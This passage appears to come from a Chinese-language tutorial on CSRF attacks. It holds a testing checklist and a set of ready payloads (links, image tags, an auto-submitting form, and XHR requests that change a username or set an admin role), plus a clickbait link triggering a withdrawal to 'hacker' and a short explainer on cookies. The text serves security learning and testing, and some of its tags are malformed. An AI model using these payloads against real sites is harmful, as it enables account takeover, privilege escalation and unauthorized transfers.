获取的注册凭证,绕过后台的用户验证,达到冒充用户被攻击的网站执行某项操作的目的
- 查看有无token等验证身份的参数,删掉后是否返回正常
- 查看header中referer,origin参数,删掉后是否返回正常
- 使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试
- 去掉referer中域名后面的文件夹或文件
- 替换二级域名
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Mea>
<img src="http://www.example.com/api/setusername?username=CSRFd">
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
form>
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
form>
<script>
document.getElementById("autosubmit").submit();
script>
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
重磅消息!!
<a/>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
script>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
script>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
script>
冒用受害者的登录凭证介绍: Cookie 是服务器发送到用户浏览器并保存到本地上的一小块数据,会在浏览器下次访问的时候向同一服务器发起请求并发送到服务器上,Cookie 主要用户三个方面
分类:
Session Cookie (绘画器 Cookie) 最简单的 Cookie , 仅在会话期内有效,浏览器关闭之后会被自动删除
Permanent Cookie (持久性 Cookie): 持久性 Cookie 可以指定一个特定的过期时间或有效期
举例:
('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);
上述创建的 Cookie 中,mycookie 属于会话期 Cookie, test 属于持久性 Cookie。
每个 Cookie 都会有与之关联的域,这个域的范围一般通过 domain 属性指定,如果 Cookie 的域和页面的域相同,那么这个 Cookie 称为 第一方 Cookie, 如果 Cookie 的域和页面的域不同,则称为第三方的 Cookie ,一个页面包含的图片或存放在其他域上的资源时,第一反应的 Cookie 也只会发送给设置他们的服务器
in.cn/post/6844903689702866952#heading-2)